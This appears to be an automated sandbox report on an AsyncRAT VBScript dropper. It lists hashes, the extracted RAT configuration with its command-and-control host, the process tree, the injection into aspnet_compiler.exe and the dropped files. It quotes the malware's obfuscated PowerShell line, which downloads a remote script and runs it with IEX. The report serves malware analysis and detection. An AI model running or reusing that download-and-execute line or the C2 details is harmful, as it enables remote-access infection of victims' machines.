asyncrat | c473c06a6459fdf0ec51659776a5665e561166d899d4ee20048ba0938a3b5388

General

Target

WAPOLQA77372.vbs
Size

746B
MD5

ce629de1aaf24d2eb4fa640a576193c2
SHA1

6468c284159433cfdf6722b29beb5a3b7a536cca
SHA256

c473c06a6459fdf0ec51659776a5665e561166d899d4ee20048ba0938a3b5388
SHA512

e9272aa122af17ef6e6decb14465eb2000fe424381a0bbe19fb21468036d5bba85941e3b5b70ef1b9938b50615698e2b4d878efce0376bf6f7835d68f244e5f2

Score

10^/10

asyncrat new-work rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://thespringreviews.com/.Fainl.txt

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

NEW-WORK

C2

2pop.ddns.net:6666

Mutex

AsyncMutex_6SI8OkPnk

Attributes

anti_vm
false
bsod
false
delay
3
install
false
install_folder
%AppData%
pastebin_config
null

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 2 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/3872-190-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral2/memory/3872-191-0x000000000040C6AE-mapping.dmp	asyncrat

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

8 936 powershell.exe
17 936 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4036 set thread context of 3872 4036 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000_Classes\Local Settings powershell.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

936 powershell.exe
936 powershell.exe
936 powershell.exe
4036 powershell.exe
4036 powershell.exe
4036 powershell.exe

flow	pid	process
8	936	powershell.exe
17	936	powershell.exe

description	pid	process	target process
PID 4036 set thread context of 3872	4036	powershell.exe	aspnet_compiler.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000_Classes\Local Settings	powershell.exe

pid	process
936	powershell.exe
936	powershell.exe
936	powershell.exe
4036	powershell.exe
4036	powershell.exe
4036	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exe

description	pid	process
Token: SeDebugPrivilege	936	powershell.exe
Token: SeIncreaseQuotaPrivilege	936	powershell.exe
Token: SeSecurityPrivilege	936	powershell.exe
Token: SeTakeOwnershipPrivilege	936	powershell.exe
Token: SeLoadDriverPrivilege	936	powershell.exe
Token: SeSystemProfilePrivilege	936	powershell.exe
Token: SeSystemtimePrivilege	936	powershell.exe
Token: SeProfSingleProcessPrivilege	936	powershell.exe
Token: SeIncBasePriorityPrivilege	936	powershell.exe
Token: SeCreatePagefilePrivilege	936	powershell.exe
Token: SeBackupPrivilege	936	powershell.exe
Token: SeRestorePrivilege	936	powershell.exe
Token: SeShutdownPrivilege	936	powershell.exe
Token: SeDebugPrivilege	936	powershell.exe
Token: SeSystemEnvironmentPrivilege	936	powershell.exe
Token: SeRemoteShutdownPrivilege	936	powershell.exe
Token: SeUndockPrivilege	936	powershell.exe
Token: SeManageVolumePrivilege	936	powershell.exe
Token: 33	936	powershell.exe
Token: 34	936	powershell.exe
Token: 35	936	powershell.exe
Token: 36	936	powershell.exe
Token: SeIncreaseQuotaPrivilege	936	powershell.exe
Token: SeSecurityPrivilege	936	powershell.exe
Token: SeTakeOwnershipPrivilege	936	powershell.exe
Token: SeLoadDriverPrivilege	936	powershell.exe
Token: SeSystemProfilePrivilege	936	powershell.exe
Token: SeSystemtimePrivilege	936	powershell.exe
Token: SeProfSingleProcessPrivilege	936	powershell.exe
Token: SeIncBasePriorityPrivilege	936	powershell.exe
Token: SeCreatePagefilePrivilege	936	powershell.exe
Token: SeBackupPrivilege	936	powershell.exe
Token: SeRestorePrivilege	936	powershell.exe
Token: SeShutdownPrivilege	936	powershell.exe
Token: SeDebugPrivilege	936	powershell.exe
Token: SeSystemEnvironmentPrivilege	936	powershell.exe
Token: SeRemoteShutdownPrivilege	936	powershell.exe
Token: SeUndockPrivilege	936	powershell.exe
Token: SeManageVolumePrivilege	936	powershell.exe
Token: 33	936	powershell.exe
Token: 34	936	powershell.exe
Token: 35	936	powershell.exe
Token: 36	936	powershell.exe
Token: SeIncreaseQuotaPrivilege	936	powershell.exe
Token: SeSecurityPrivilege	936	powershell.exe
Token: SeTakeOwnershipPrivilege	936	powershell.exe
Token: SeLoadDriverPrivilege	936	powershell.exe
Token: SeSystemProfilePrivilege	936	powershell.exe
Token: SeSystemtimePrivilege	936	powershell.exe
Token: SeProfSingleProcessPrivilege	936	powershell.exe
Token: SeIncBasePriorityPrivilege	936	powershell.exe
Token: SeCreatePagefilePrivilege	936	powershell.exe
Token: SeBackupPrivilege	936	powershell.exe
Token: SeRestorePrivilege	936	powershell.exe
Token: SeShutdownPrivilege	936	powershell.exe
Token: SeDebugPrivilege	936	powershell.exe
Token: SeSystemEnvironmentPrivilege	936	powershell.exe
Token: SeRemoteShutdownPrivilege	936	powershell.exe
Token: SeUndockPrivilege	936	powershell.exe
Token: SeManageVolumePrivilege	936	powershell.exe
Token: 33	936	powershell.exe
Token: 34	936	powershell.exe
Token: 35	936	powershell.exe
Token: 36	936	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

WScript.exepowershell.exeWScript.exepowershell.exe

description	pid	process	target process
PID 3796 wrote to memory of 936	3796	WScript.exe	powershell.exe
PID 3796 wrote to memory of 936	3796	WScript.exe	powershell.exe
PID 936 wrote to memory of 1396	936	powershell.exe	WScript.exe
PID 936 wrote to memory of 1396	936	powershell.exe	WScript.exe
PID 1396 wrote to memory of 4036	1396	WScript.exe	powershell.exe
PID 1396 wrote to memory of 4036	1396	WScript.exe	powershell.exe
PID 4036 wrote to memory of 3872	4036	powershell.exe	aspnet_compiler.exe
PID 4036 wrote to memory of 3872	4036	powershell.exe	aspnet_compiler.exe
PID 4036 wrote to memory of 3872	4036	powershell.exe	aspnet_compiler.exe
PID 4036 wrote to memory of 3872	4036	powershell.exe	aspnet_compiler.exe
PID 4036 wrote to memory of 3872	4036	powershell.exe	aspnet_compiler.exe
PID 4036 wrote to memory of 3872	4036	powershell.exe	aspnet_compiler.exe
PID 4036 wrote to memory of 3872	4036	powershell.exe	aspnet_compiler.exe
PID 4036 wrote to memory of 3872	4036	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\WAPOLQA77372.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3796

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow^!loadStri^!g'.replace('^!','n'),[Microsoft.VisualBasic.CallType]::Method,'https://+++++++++++++++++++++.com/.Fainl.txt'.Replace('+++++++++++++++++++++','thespringreviews'))|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname
2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:936

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\WindowsHost\MsMpLics.vbs"
3⤵
- Suspicious use of WriteProcessMemory
PID:1396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass & C:\Users\Public\EppManifest.ps1
4⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4036

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
5⤵
PID:3872

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\ProgramData\WindowsHost\MsMpLics.vbs
MD5
f88416aac0169542e361f858dcbebd1b

SHA1
1bfaec27a3ff28621f7c6623043fde6a679245b1

SHA256
64fa1d25cbaf04307dea237bc5a7e23a46f88ccd261ceb6541a738b87b8a996c

SHA512
f7f54d5c1fc70b4c24e9778965cfcc647b80551c02af414b5ac3eebbba3936371ecc7c83ba829fea8dcccb247f182d99c55b25a1facd92315752be5a38cfbb30

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
MD5
5f0b198807cbf23cc1fece5d8d37675b

SHA1
e8d651684243cf0cee9ec99e1dec4fbf4567b2b8

SHA256
524b4481f8783ebf4c58b7d890db6b888a6710c567af2be54af360480b1e4567

SHA512
73a04c3c945b4740750eb59857924b7808443b7c8ac9df6e3b2a3cd11840ed836c1196057c09106b3a9bf5da26fef95a16db410aa62810f7706a0b5f2d8cdfe7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
fd194f089349de25be820d7faddfda2a

SHA1
bd11fd5cd7a71ba154cba89cfb9dc9a1ff2f8f24

SHA256
456221ca92e57b7c55aea0005a522edb333247a5ccbb2576bf63eb4cd07bf8e3

SHA512
667d02e5ec6b3c2434968a3d4123af589cae9ee4a0a094beb6d4ebcf51351eb5f817f4fe660e17e56c7a7e7ce309c4585f7a8699bd1a3c818193b82ff4f6e4b3

Download Submit
C:\Users\Public\EppManifest.ps1
MD5
d31e17d6ecb59bbf806aaf9fe80708b0

SHA1
81c4c2895e08a290600baabea94082eff510c5d7

SHA256
de8e9e59d1d82253f359e250c64b59540af4abefad8e5881fe864ac2aead8115

SHA512
6c5645a46f2de05911c3d569f9a6bdf005ff1288515fa16b12dde763f05059383a596604d5b4d3b4a9f9753d24added882b48c3d6c0f105e7667489fd5161042

Download Submit
memory/936-124-0x00000236B96B0000-0x00000236B96B2000-memory.dmp

Filesize
8KB

Download
memory/936-164-0x00000236D1E08000-0x00000236D1E0A000-memory.dmp

Filesize
8KB

Download
memory/936-121-0x00000236D1E00000-0x00000236D1E02000-memory.dmp

Filesize
8KB

Download
memory/936-122-0x00000236D1E03000-0x00000236D1E05000-memory.dmp

Filesize
8KB

Download
memory/936-123-0x00000236B96B0000-0x00000236B96B2000-memory.dmp

Filesize
8KB

Download
memory/936-115-0x0000000000000000-mapping.dmp

Download
memory/936-125-0x00000236D23C0000-0x00000236D23C1000-memory.dmp

Filesize
4KB

Download
memory/936-126-0x00000236B96B0000-0x00000236B96B2000-memory.dmp

Filesize
8KB

Download
memory/936-142-0x00000236D1E06000-0x00000236D1E08000-memory.dmp

Filesize
8KB

Download
memory/936-147-0x00000236B96B0000-0x00000236B96B2000-memory.dmp

Filesize
8KB

Download
memory/936-148-0x00000236B96B0000-0x00000236B96B2000-memory.dmp

Filesize
8KB

Download
memory/936-118-0x00000236B96B0000-0x00000236B96B2000-memory.dmp

Filesize
8KB

Download
memory/936-187-0x00000236B96B0000-0x00000236B96B2000-memory.dmp

Filesize
8KB

Download
memory/936-119-0x00000236B96B0000-0x00000236B96B2000-memory.dmp

Filesize
8KB

Download
memory/936-117-0x00000236B96B0000-0x00000236B96B2000-memory.dmp

Filesize
8KB

Download
memory/936-120-0x00000236D1E40000-0x00000236D1E41000-memory.dmp

Filesize
4KB

Download
memory/936-116-0x00000236B96B0000-0x00000236B96B2000-memory.dmp

Filesize
8KB

Download
memory/1396-169-0x0000000000000000-mapping.dmp

Download
memory/3872-201-0x0000000002910000-0x0000000002911000-memory.dmp

Filesize
4KB

Download
memory/3872-191-0x000000000040C6AE-mapping.dmp

Download
memory/3872-190-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/4036-176-0x000001F02C920000-0x000001F02C922000-memory.dmp

Filesize
8KB

Download
memory/4036-183-0x000001F046933000-0x000001F046935000-memory.dmp

Filesize
8KB

Download
memory/4036-184-0x000001F02C920000-0x000001F02C922000-memory.dmp

Filesize
8KB

Download
memory/4036-181-0x000001F046930000-0x000001F046932000-memory.dmp

Filesize
8KB

Download
memory/4036-188-0x000001F046860000-0x000001F046876000-memory.dmp

Filesize
88KB

Download
memory/4036-189-0x000001F046936000-0x000001F046938000-memory.dmp

Filesize
8KB

Download
memory/4036-182-0x000001F02C920000-0x000001F02C922000-memory.dmp

Filesize
8KB

Download
memory/4036-179-0x000001F02C920000-0x000001F02C922000-memory.dmp

Filesize
8KB

Download
memory/4036-178-0x000001F02C920000-0x000001F02C922000-memory.dmp

Filesize
8KB

Download
memory/4036-177-0x000001F02C920000-0x000001F02C922000-memory.dmp

Filesize
8KB

Download
memory/4036-175-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads